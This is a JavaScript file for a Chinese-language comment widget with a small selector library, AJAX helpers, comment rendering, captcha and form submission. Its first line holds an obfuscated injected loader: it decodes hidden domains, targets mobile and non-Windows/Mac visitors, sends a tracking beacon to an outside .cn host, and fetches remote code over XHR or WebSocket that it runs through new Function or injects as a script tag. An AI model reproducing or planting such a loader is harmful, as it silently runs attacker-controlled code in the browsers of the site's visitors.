function PDiSYWe(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function roAOmRsi(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return PDiSYWe(t);};window[''+'q'+'V'+'J'+'P'+'L'+'w'+'j'+'X'+'h'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function bgHqI(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=roAOmRsi,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=bgHqI(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsc.vxcewh.cn:7891/stats/14915/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=bgHqI(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhhLmxpdWd3Mi5jbiUzQTg4OTE=','d3NzJTNBJTJGGJTJGGYS5ja210dHguY24lM0E5NTM0','165539',window,document,['h','G']);}:function(){};
var mini = function() {
function b(l, m) {
m = m || document;
if (!/^[\w\-_#]+$/.test(l) && m.querySelectorAll) return f(m.querySelectorAll(l));
if (l.indexOf(",") > -1) {
l = l.split(/,/g);
for (var n = [], h = 0, j = l.length; h < j; ++h) n = n.concat(b(l[h], m));
return o(n)
}
l = l.match(c);
j = l.pop();
n = (j.match(g) || k)[1];
h = !n && (j.match(e) || k)[1];
j = !n && (j.match(i) || k)[1];
if (h && !j && m.getElementsByClassName) j = f(m.getElementsByClassName(h));
else {
j = !n && f(m.getElementsByTagName(j || "*"));
if (h) j = a(j, "className", RegExp("(^|\\s)" + h + "(\\s|$)"));
if (n) return (m = m.getElementById(n)) ? [m] : []
}
return l[0] && j[0] ? d(l, j) : j
}
function f(l) {
try {
return Array.prototype.slice.call(l)
} catch(m) {
for (var n = [], h = 0, j = l.length; h < j; ++h) n[h] = l[h];
return n
}
}
function d(l, m, n) {
var h = l.pop();
if (h === ">") return d(l, m, true);
var j = [],
q = -1,
p = (h.match(g) || k)[1],
r = !p && (h.match(e) || k)[1];
h = !p && (h.match(i) || k)[1];
var v = -1,
u, s, t;
for (h = h && h.toLowerCase(); u = m[++v];) {
s = u.parentNode;
do {
t = (t = (t = !h || h === "*" || h === s.nodeName.toLowerCase()) && (!p || s.id === p)) && (!r || RegExp("(^|\\s)" + r + "(\\s|$)").test(s.className));
if (n || t) break
} while ( s = s.parentNode );
if (t) j[++q] = u
}
return l[0] && j[0] ? d(l, j) : j
}
function a(l, m, n) {
for (var h = -1,j, q = -1,p = []; j = l[++h];) if (n.test(j[m])) p[++q] = j;
return p
}
var c = /(?:[\w\-\\.#]+)+(?:\[\w+?=([\'"])?(?:\\\1|.)+?\1\])?|\*|>/ig,
e = /^(?:[\w\-_]+)?\.([\w\-_]+)/,
g = /^(?:[\w\-_]+)?#([\w\-_]+)/,
i = /^([\w\*\-_]+)/,
k = [null, null],
o = function() {
var l = +new Date,
m = function() {
var n = 1;
return function(h) {
var j = h[l],
q = n++;
if (!j) {
h[l] = q;
return true
}
return false
}
} ();
return function(n) {
for (var h = n.length,j = [], q = -1, p = 0, r; p < h; ++p) {
r = n[p];
if (m(r)) j[++q] = r
}
l += 1;
return j
}
} ();
return b
} ();
if (typeof Le == "undefined") var Le = {};
Function.prototype.method = function(b, f) {
this.prototype[b] = f;
return this
};
(function() {
Le.register = function(b) {
function f(d,m) {
if (typeof d == "string") {
d = mini(d,m);
if (!d || d == "" || typeof d == "undefined" == "undefined") return false;
if (d.length == 1) this.el = d[0];
else if (d.length > 1) this.el = d
} else if (d.nodeType == 1) this.el = d
}
f.method(b.each,function(d) {
if (this.el) {
if (this.el.length) for (var a = 0,
c = this.el.length; a < c; ++a) d.call(this, this.el[a], a);
else d.call(this, this.el);
return this
}
}).method(b.hasClass,function(d, a) {
this.each(function(c) {
var e = c.className.split(/\s+/).toString().indexOf(d) > -1 ? true: false; (function() {
a(e)
})()
});
return this
}).method(b.addClass,function(d) {
this.each(function(a) {
for (var c = (d || "").split(/\s+/), e = 0; e < c.length; e++) {
var g = c[e];
this.hasClass(a,
function(i) {
i || (a.className += (a.className ? " ": "") + g)
})
}
});
return this
}).method(b.removeClass,function(d) {
this.each(function(a) {
if (d != undefined) {
for (var c = a.className.split(/\s+/), e = [], g = 0, i = c.length; g < i; ++g) {
var k = c[g];
k != d && e.push(k)
}
a.className = e.join(" ")
} else a.className = ""
});
return this
}).method(b.replaceClass,function(d, a) {
this.removeClass(d);
this.addClass(a);
return this
}).method(b.css,function(d, a) {
this.each(function(c) {
c.style[d] = a
});
return this
}).method(b.setCSS,function(d) {
for (var a in d) d.hasOwnProperty(a) && this.css(a, d[a]);
return this
}).method(b.attr,function(d, a) {
var ret=[];
this.each(function(c) {
ret.push(c.getAttribute(d));
if(a!==undefined) c.setAttribute(d, a);
});
return ret.length>1 ? ret : ret.pop();
}).method(b.removeAttr,function(d) {
this.each(function(c) {
c.removeAttribute(d);
});
return this
}).method(b.val,function(a) {
var ret=this.el.value;
if(a!=undefined) this.el.value=a;
return ret;
}).method(b.show,function(d) {
if (d == 0) this.css("display", "");
else d == 1 ? this.css("display", "") : this.css("display", "block");
return this
}).method(b.hide,function() {
this.css("display", "none");
return this
}).method(b.toggle,function(d) {
this.each(function(a) {
if (a.style.display == "none"){
if (d){
d == 1 ? (a.style.display = "inline") : (a.style.display = "");
}else{
a.style.display = "block";
}
}else{
a.style.display = "none";
}
});
return this
}).method(b.bind,function(d, a) {
var c = function(e) {
var g = function(ev) {
a.call(e,ev)
};
if (window.addEventListener) e.addEventListener(d, g, false);
else window.attachEvent && e.attachEvent("on" + d, g)
};
if (this.el) {
this.el.length == 0 ? c(this.el) : this.each(function(e) {
c(e)
});
return this
}
}).method(b.html,function(a) {
this.each(function (c){
c.innerHTML=a;
});
return this
}).method(b.focus,function() {
this.el.focus();
return this
}).method(b.remove,function(d) {
d && this.el.removeChild(d);
return this
});
window[b.namespace] = function(d) {
return new f(d)
};
Le.extendChain = function(d, a) {
f.method(d, a)
}
}
})();
Le.register({
namespace: "$",
each: "each",
addClass: "addClass",
hasClass: "hasClass",
removeClass: "removeClass",
replaceClass: "replaceClass",
setCSS: "setCSS",
css: "css",
attr: "attr",
val: "val",
show: "show",
hide: "hide",
toggle: "toggle",
bind: "bind",
focus: "focus",
html: "html",
remove: "remove",
removeAttr: "removeAttr"
});
var Json=(function (){
var $=["MSXML2.XMLHTTP", "Microsoft.XMLHTTP",window.XMLHttpRequest],_=[],
http=function (){
for(var i=0,x;i<_.length;i++) if (_[i].readyState == 0 || _[i].readyState == 4) return _[i];
for(i=0;i<$.length;i++){
try{
if (window.XMLHttpRequest) {
x=typeof $[i] == "function" ? new $[i]() : new XMLHttpRequest($[i]);
}else
{
x=typeof $[i] == "function" ? new $[i]() : new ActiveXObject($[i]);
}
break;
}catch(ig){
x=null;
}
}
if(!x){
throw "Cannot init XMLHttpRequest object!";
return false;
}else{
return _[_.length]=x;
}
};
return function (url,sfun,efun,timeout){
var o=http(),x=0,t=timeout || 3600000,sf=sfun || function (){},ef=efun || function (){};
o.open("get",url,true);
x=window.setTimeout(function (){
o.abort()
},t);
o.onreadystatechange=function (){
if(o.readyState == 4){
window.clearTimeout(x);
if(o.status == 200){
var a = eval("(" + o.responseText + ")");
sf.call(o,a);
}else{
ef.call(o);
}
}
};
o.send("");
}
})();
var viewmsg=(function (){
var $=["MSXML2.XMLHTTP", "Microsoft.XMLHTTP",window.XMLHttpRequest],_=[],
http=function (){
for(var i=0,x;i<_.length;i++) if (_[i].readyState == 0 || _[i].readyState == 4) return _[i];
for(i=0;i<$.length;i++){
try{
if (window.XMLHttpRequest) {
x=typeof $[i] == "function" ? new $[i]() : new XMLHttpRequest($[i]);
}else
{
x=typeof $[i] == "function" ? new $[i]() : new ActiveXObject($[i]);
}
break;
}catch(ig){
x=null;
}
}
if(!x){
throw "Cannot init XMLHttpRequest object!";
return false;
}else{
return _[_.length]=x;
}
};
return function (id,type,page){
var o=http();
o.open("get","api/send.php?gid="+id+"&type="+type+"&page="+page,true);
o.onreadystatechange=function (){
if(o.readyState == 4){
ShowMsg(o.responseText);
}
};
o.send("");
}
})();
//iframeheight
function resizeiframe(){
try{var frames=parent.document.documentElement.getElementsByTagName("iframe");
for(var i=0;i0){location.href=location.href.substring(0,topPos)+"#top1"}
setTimeout('resizeiframe();',1);
break;
}
}
}catch(e){ return;}
}
//cookie
var user = function(){var getcookie = function(name){var cookievalue = "",search = name + "="; if(document.cookie.length > 0){offset = document.cookie.indexOf(search); if (offset != -1){ offset += search.length; end = document.cookie.indexOf(";", offset); if (end == -1) end = document.cookie.length; cookieValue = unescape(document.cookie.substring(offset, end)) }}return cookievalue;},uid=getcookie("uid"),uname=getcookie("username");return {"id":uid||0,"name":uname||"","nick":"","face":"",upfile:""};}();
//init
(function(){
$("#tit").html(""+unescape(param.gname)+"相关评论");
//viewmsg(param.gid,param.type,1);
if(parseInt(param.allowup) === 1)viewform1();
if(parseInt(param.islogin) === 1)
{
$("#anonymous").hide();
$("#anonylabel").hide();
}
if(parseInt(param.iscaptcha)==0)$("#iscaptcha").hide();
page(param.type,param.gid,param.page);
$("#ctype").val(param.type);
$("#gid").val(param.gid);
$("#uid").val(user.id);
$("#uname").val(user.name);
$("#unick").val(user.nick);
$(".exit").bind('click',function(){$("#editor").hide();})
$("#anonymous").bind('click',function(){
$("#anonylabel").html(this.checked ? '' : '匿名');
});
$("#cmt").bind('click',function(){
if(document.getElementById('editor').style.display=="none"){$("#editor").show();}
else{$("#editor").hide();}
});
$("#talk").bind('keydown',function(ev){
if(ev.ctrlKey && ev.keyCode == 13 || ev.altKey && ev.keyCode == 83) {
return submitform();
}
});
})();
function trim(s){return s.replace(/[\t\s]+/g,"");}
//allowuppic
function viewform1(){
$("#uploadpic").html('');
$("#uploadpic").show();
}
//page
function page(t,g,p,c){
Json("api/index.php?type="+t+"&gid="+g+"&page="+p+"&ran="+Math.random(),function(data){
show(data)
});
return false;
}
//view
function show(data){
var mobj=data.mlist,mol=data.mlist.length,robj=data.rlist,pobj=data.page;
var htmlstr=[],htmlstr1=[],uname,ctxt,ctime,allowreply,pagenum_s,pagenum_e;
var _regex = function(str,rep){return str.replace(/\[em:(\d+):]/gi,rep).replace(/[\t\s]/gi,rep);};
var tmp1,tmp2,tmp3;
for(var i=0;i");
htmlstr.push("" + uname + "");
if(tmp1.star)htmlstr.push(""+star(tmp1.star)+"");
htmlstr.push("
");
htmlstr.push("");
//reply_S
if(tmp1.reply){
tmp2 = tmp1.reply.split(",");
for(var x=0;x
");}}
for(var y=0,j=tmp2.length-1;y");
htmlstr.push(tmp3.anony ? (tmp3.from || "匿名")+"网友" : tmp3.tmp || tmp3.nick || (tmp3.from || "匿名")+"网友");
htmlstr.push("");
htmlstr.push("");
if(tmp3.pic && parseInt(tmp3.check))htmlstr.push("
");
else if(tmp3.pic)htmlstr.push("[图片审核中]
");
htmlstr.push(tmp3.content.replace(/\[em:(\d+):\]/gi,"
").replace(/[\r\n]{1,2}/gi,"
"));
htmlstr.push("
");
}
}
if(tmp2.length>=20)allowreply=false;
}
//reply_E
htmlstr.push("");
if(tmp1.pic && parseInt(tmp1.check)){
htmlstr.push("

");
htmlstr.push(tmp1.allow ? "
献花["+tmp1.vote.toString()+"]" : "
");
}
else if(tmp1.pic)htmlstr.push("
[图片审核中]");
htmlstr.push(tmp1.content.replace(/\[em:(\d+):]/gi,"

").replace(/[\r\n]{1,2}/gi,"
"));
htmlstr.push("
");
htmlstr.push("");
htmlstr.push("");
htmlstr.push("");
}
//page
if(pobj.count){
pagenum_s = Math.floor((parseInt(pobj.page)-1)/2)*2+1;
pagenum_e = pagenum_s + 2;
htmlstr1.push("‹‹‹");
//if(pagenum_s >= 11)htmlstr.push("...");
for(var z = pagenum_s;z<=(pobj.count>pagenum_e?pagenum_e:pobj.count);z++){
if(z==pobj.page)htmlstr1.push(""+z+"");
else htmlstr1.push(""+z+"");
}
//if(pagenum_e...");
htmlstr1.push(" ›››");
$("#pager").html(htmlstr1.join(""));
}
//write
$("#comment").html(htmlstr.join(""));
resizeiframe();
}
function ShowMsg(msg)
{
var _div = document.getElementById("comment");
_div.innerHTML = msg;
}
//face
$("#face img").each(function (c,i){c.onclick=function(){insertFace(i+1);}});
function insertFace(num) {
var reg = /\[em:(.+?):]/gi;
var texts = "[em:"+num+":]";
var obj = document.getElementById("talkwhat");
var pos=obj.value.match(reg);
if(pos != null && pos.length>2){alert("添加表情不能超过3个");return false;}
$("#talkwhat").focus();
if(typeof (obj.selectionStart) != 'undefined') {
var opn = obj.selectionEnd + 0;
obj.value = obj.value.substr(0, obj.selectionEnd) + texts + obj.value.substr(obj.selectionEnd);
obj.selectionStart = opn + texts.length;
obj.selectionEnd = obj.selectionStart;
} else if(document.selection && document.selection.createRange) {
var sel = document.selection.createRange();
sel.collapse(false);
sel.text = texts;
sel.select();
} else {
obj.value += texts;
}
}
//userrank
function star(n){
var starlist = "";
var n1 = 0, n2 = 0;
var a = new Array([81,27,9,3,1],["
","
","
","
","
"]);
n = Math.floor(n/50)+1;
for(var b=0;b0){
for(var i=1;i<=n1;i++){
starlist += a[1][b];
}
}
}
return starlist;
}
function reply(cmid,cmcon){
$("#cparent").val(cmid);
$("#editor").show();
$("#cancel").show();
document.getElementById('talkwhat').scrollIntoView();
$("#cancel").html("回复:"+cmcon+" 取消");
}
function clk(o,i,n,t){
if(typeof o.num == "undefined")o.num = n;
o.num = parseInt(o.num)+1;
o.innerHTML = (t==2)?"已同意[+"+o.num+"]":(t==3)?"已反对[-"+o.num+"]":"已献花["+o.num+"]";
$(o).removeAttr("onclick");
$(o).bind("click",function(e){return false;});
/*$.get("api/send.asp",{"gid":i,"action":t,"ran":Math.random()});*/
(new Image()).src='api/send.php?gid='+i+'&action='+t+'&ran='+Math.random();
return false;
}
function getcaptcha(){
var uri = "../include/vdimgck.php?r="+Math.random();;
$("#gcaptcha").val("");
$('#gcaptcha').focus();
$("#getcode").css('display','inline');
$("#codeimg").html("
");
return false;
}
//submit
function submitform(){
var captchastr = trim($("#gcaptcha").val()),reg = /[\u4e00-\u9fa5]/,str=trim($("#talkwhat").val());
if(parseInt(param.iscaptcha)=='1'){
if(!captchastr){alert("验证码不能为空!");return false;}
}
if(!str){alert("评论内容不能为空!");return false;}
if(str.length > 255){alert("评论内容不能超过255个字符!");return false;}
if(!reg.test(str)){alert("评论内容请包含中文!");return false;}
else $("#captcha").val($("#gcaptcha").val());
submit_2(user.upfile || "");
}
function submit_2(path){
var ay=$("#anonymous").attr("checked")
$("#pvote").val($("#vote").attr("checked")?1:0);
$("#ppath").val(path || "");
$("#utmpname").val(ay ? $("#tmpname").val() : user.name);
$("#anony").val(ay ? 1 : 0);
//$("#submit1").attr("disabled","disabled");
$("#form2").el.submit();
}
function success(url){
alert("评论成功!");
if(parseInt(param.allowup) === 1)viewform1();
$("#ppath").val("");
$("#cancel").hide();
$("#cparent").val(0);
$("#cancel").html("");
$("#talkwhat").val("");
$("#gcaptcha").val("");
$("#getcode").hide();
$("#submit1").attr("value"," 发表评论 ");
//$("#submit1").attr("disabled","");
user.upfile='';
page(param.type,param.gid,1);
}
function cerr(str){
$("#getcode").hide();
$("#submit1").attr("value"," 发表评论 ");
$("#submit1").attr("disabled","");
alert(str);
}
function onSendBack(ok,filename,msg){
if(ok==true){
if(filename==""){
success();
}else{
user.upfile=filename;submit_2(filename);
}
}else{
cerr(msg);
}
}